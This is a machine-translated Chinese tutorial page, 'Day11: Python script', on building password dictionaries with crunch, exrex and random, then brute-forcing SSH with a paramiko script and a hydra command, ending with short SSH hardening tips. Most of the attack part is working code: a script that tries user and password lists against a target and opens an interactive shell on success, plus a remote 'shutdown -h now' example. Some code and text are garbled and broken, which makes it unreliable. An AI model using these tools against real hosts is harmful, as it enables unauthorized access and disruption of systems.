程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式師世界 >> 編程語言 >  >> 更多編程語言 >> Python

Day11: Python script

編輯:Python

DAY11:python Script

1、 Dictionary generator

Tools ----crunch

usage :

crunch <min-len> <max-len> [<charset string>] [options]
min-len crunch The minimum length string to start It's necessary
max-len crunch The maximum length string to start It's necessary
charset string Use... On the command line crunch You may have to specify character set settings , Otherwise, the default character set settings will be used . You must specify a value of character type or plus sign
crunch -h # Hang up
-c # Specify the number of lines written to the output file , That is, the number of passwords
-d # Limit the number of the same elements Numbers are the number of consecutive letters , Symbols are characters that restrict strings (“@” For lowercase letters ,“,” Represents uppercase characters , “%” On behalf of the digital ,“^” For special characters ) Limit each password to at least a few characters
-e # character string , Define stop password generation
-f /path/to/charset.lst charset-name # from charset.lst Specify character set
-i # Change the output format
-o name.txt # Specify the name of the output file
-p # String or -p ... Generate a dictionary in a way of arrangement and combination
-q name.txt # Read name.txt

2、 utilize python Write a dictionary generator

2.1、exrex library

re.DEBUG Classification and analysis under the mode , To match the content
Generate all matching strings
Generate random match strings
Count the number of matching strings
Simplify regular expressions
exrex.getone()
exrex.generate()

2.1.1、exrex.getone()

print(exrex.getone('\d{3}-\d{4}-[0-9]{4}')) # Numbers 
print(exrex.getone('(ex)r\\1')) # Filling in regular expressions will generate corresponding contents 
print(exrex.getone('(1[0-2]0[1-9])(:[0-5]\d){2} (A|P)M')) # Time 

Output is :

123-9462-3188
exrex
21:19:39 PM
Example 1:exrex.getone() Generate cell phone number
import exrex
for i in range(30):
num = '1[0-9]{10}'
phone_number = exrex.getone(num) # exrex.getone() Method exrex.generate() Method 
print(phone_number)

2.1.2、exrex.generate()

num=list(exrex.generate('((hai){2}|hacker!)')) ## Match two hai or hacker
print(num)
num=list(exrex.generate('[Pp][[email protected]]ssw[Oo]rd')) # Know some combinations of passwords , Conduct local blasting ( above all )
print num #exrex.generate(’[Pp][[email protected]]ssw[Oo]rd’) Combination code 

Output is :

['haihai', 'world!']
Example 1:exrex.generate() Generate the password
import exrex
web_dict = '123'
dic_pass = '456'
dics = list(exrex.generate(web_dict+dic_pass+'[@#!%^&*]'))
for i in dics:
print(i)
Example 2 :
def make_pass(pwds):
f=open('password','w')
f.close()
for pwd in pwds:
num='135[0-9]{8}'
for number in num:
final_pwds=list(exrex.generate(number.format(pwd=pwd)))
for final_pwd in final_pwds:
print(final_pwd)
f=open('passwd.txt','a+')
f.write(final_pwd + '\n')
f.close()
if __name__=='__main__':
make_pass()

2.2、random library

Example : utilize random Library generates dictionary

import random
class Password():
strs = 'a[email protected]#$%^&*'
def __init__(self,minlen,maxlen):
if maxlen>minlen:
self.__minlen=minlen
self.__maxlen=maxlen
else:
self.__maxlen=minlen
self.__minlen=maxlen
def __iter__(self): # Iterator function initialization 
return self
def __next__(self):
ret =''
for i in range(0, random.randrange(self.__minlen, self.__maxlen+1)):
ret += random.choice(Password.strs)
return ret
if __name__=='__main__':
for str in Password(1, 10): #1-10 Bit random password 
print(str)

2.3、sys library

sys.palatform # Processor information
sys.getfilesystemcoding() # Code information input
sys.getfilesystemencoding() # Coding information output
sys.getdefaultencoding() # Standard input and output

2.4、hashlib library

2.5、kali-------john the ripper

3、 Brute force ssh

3.1、paramiko library

3.1.1、SSHClient class

connect Method
hostname #ip
port 22 #22 port
password # password
pkey # For authentication
timeout # Overtime

3.1.2、exec_command() Method

command() # Executed command
bufsize() # File buffer size

3.1.3、load_system_host_keys() Method

filename # Remote host public key record file

3.1.4、set_missing_host_key_poilcy() Method

Example 1: Upload ( download ) file
import paramiko
def sftp_upload_file(server_path, local_path):
try:
ftp= paramiko.Transport(("172.16.0.xxx", 22)) # Input ip Address 
ftp.connect(username="xxx", password="xxx") # Enter your username and password 
sftp = paramiko.SFTPClient.from_transport(ftp)
sftp.put(local_path, server_path)
ftp.close()
except Exception as e:
print(e)
if __name__ == '__main__':
sftp_upload_file("/root/1.txt", "C:/Users/1.txt") # The local file and path , Upload it to the terminal directory and name it 1.txt
sftp_down_file("") # Download the file 
Example 2: Carry out orders
# -*- coding:utf-8 -*-
import paramiko
def sftp_exec_command(command):
try:
# establish SSH object 
ssh_client = paramiko.SSHClient()
# Allow connection not in known_hosts Host on file 
ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# Connect to server Input ip Address 、 User name and password 
ssh_client.connect(hostname="172.16.0.1xx",port="22",username="xx",password="xx")
# Carry out orders 
std_in, std_out, std_err = ssh_client.exec_command(command)
# Get the result and output it 
for i in std_out:
print (i.strip("\n"))
ssh_client.close()
except Exception as e:
print(e)
# command 
if __name__ == '__main__':
sftp_exec_command("shutdown -h now")

Example 3:ssh Blast

#!/usr/bin/python3
# -*- coding: utf-8 -*-
import paramiko
import argparse
import sys
def sshbrute(user,passwd,host):
# Set up flag by 0 , When you log in successfully, set it to 1 
flag = 0
try:
# Use paramiko.SSHClient establish ssh object 
ssh = paramiko.SSHClient()
# Allow trusted hosts to be automatically added to host_allow list , This method must be placed in connect In front of the method , Accept the public key certificate of the other party 
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# Sign in ssh, If the connection fails, throw abnormal Jump to except , If successful, continue 
ssh.connect(hostname=host,port=22,username=user,password=passwd,timeout=3)
# Print out the successfully logged in user name and password 
print("login success! User:"+user,"Pass:"+passwd)
# hold flag Set as 1
flag = 1
except:
# Print out Login failed Of user name and password 
print("login failed!","user:"+user,"pass:"+passwd)
# If flag by 1, entering terminal
if flag == 1:
while True:
# obtain The command entered 
input_command = input(">>")
# If Input quit Just shut it down ssh Connect , And quit the program 
if input_command == 'quit':
print("quit!")
ssh.close()
exit(0)
# perform The command entered 
stdin,stdout,stderr = ssh.exec_command(input_command)
# obtain The result returned And print 
result = stdout.read()
print(str(result,'utf-8'))
if __name__ == "__main__":
# Custom acceptance parameters 
parse = argparse.ArgumentParser("python3 "+sys.argv[0])
parse.add_argument("-u <USER>","--user",help="login with user name")
parse.add_argument("-U <USERFILE>","--userfile",help="load user from USERfile")
parse.add_argument("-p <PASS>","--passwdd",help="try passwdd with PASS")
parse.add_argument("-P <PASSFILE>","--passfile",help="load PASS from PASSFILE")
parse.add_argument("-t","--target",help="client ip ")
# Save the received parameters in variables 
args = parse.parse_args()
user = args.user
passwd = args.passwdd
target = args.target
ufile = args.userfile
pfile = args.passfile
# Judge target Whether there is 
if not target:
print("target not set!")
exit(0)
# If Input -U and -P The parameters are read out circularly ufile Medium user name and pfile The password 
if ufile and pfile:
tmp_ufile = open(ufile,'r')
tmp_pfile = open(pfile,'r')
# Cycle through user names 
for a in tmp_ufile.readlines():
tmp_pfile = open(pfile,'r')
# Loop in the password 
for b in tmp_pfile.readlines():
sshbrute(a.replace('\n',''),b.replace('\n',''),target)
# The password needs to be closed after reading Reopen at the next read 
tmp_pfile.close()
tmp_ufile.close()
# If Input -P and -u Then cycle to read pfile Medium password , use <user> and pfile Login with the password in 
elif pfile and user:
tmp_pfile = open(pfile,'r')
res_pfile = tmp_pfile.readlines()
tmp_pfile.close()
for i in res_pfile:
sshbrute(user,i.replace('\n',''),target)
# If Input -U and -p Just cycle through ufile User name in , use <passwd> and ufile Login with the user name in 
elif ufile and passwd:
tmp_ufile = open(ufile,'r')
res_ufile = tmp_ufile.readlines()
tmp_ufile.close()
for i in res_ufile:
sshbrute(i.replace('\n',''),passwd,target)
# If directly given User name and password Then login directly with the given user name and password 
elif user and passwd:
sshbrute(user,passwd,target)

3.2、kali----hydra( Hydra )

hydra -h
-p # Instruction password
-l # Specify user name
-L # Specify the user name dictionary
-P # Specify a password dictionary
-o # Output the results to a file
-v # Show detailed process
-t # Number of threads
-f # Exit after detecting that the user name or password is correct
hydra -L users.txt -P passwd.txt -t 20 192.168.10.10 ssh -o 1.txt -f

3.3、pexpect library

4、 defense SSH Blast

1、 Modify firewall inbound rules
iptables -A INPUT -m state --state NEW -m tcp -p --dport -j ACCEPT
2、 Modify the default port
vim /etc/ssh/sshd_config
22 Change to any big slogan
service sshd restart
3、 Configure user login
vim /etc/ssh/sshd_config
AllowUsers root

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式師世界 All Rights Reserved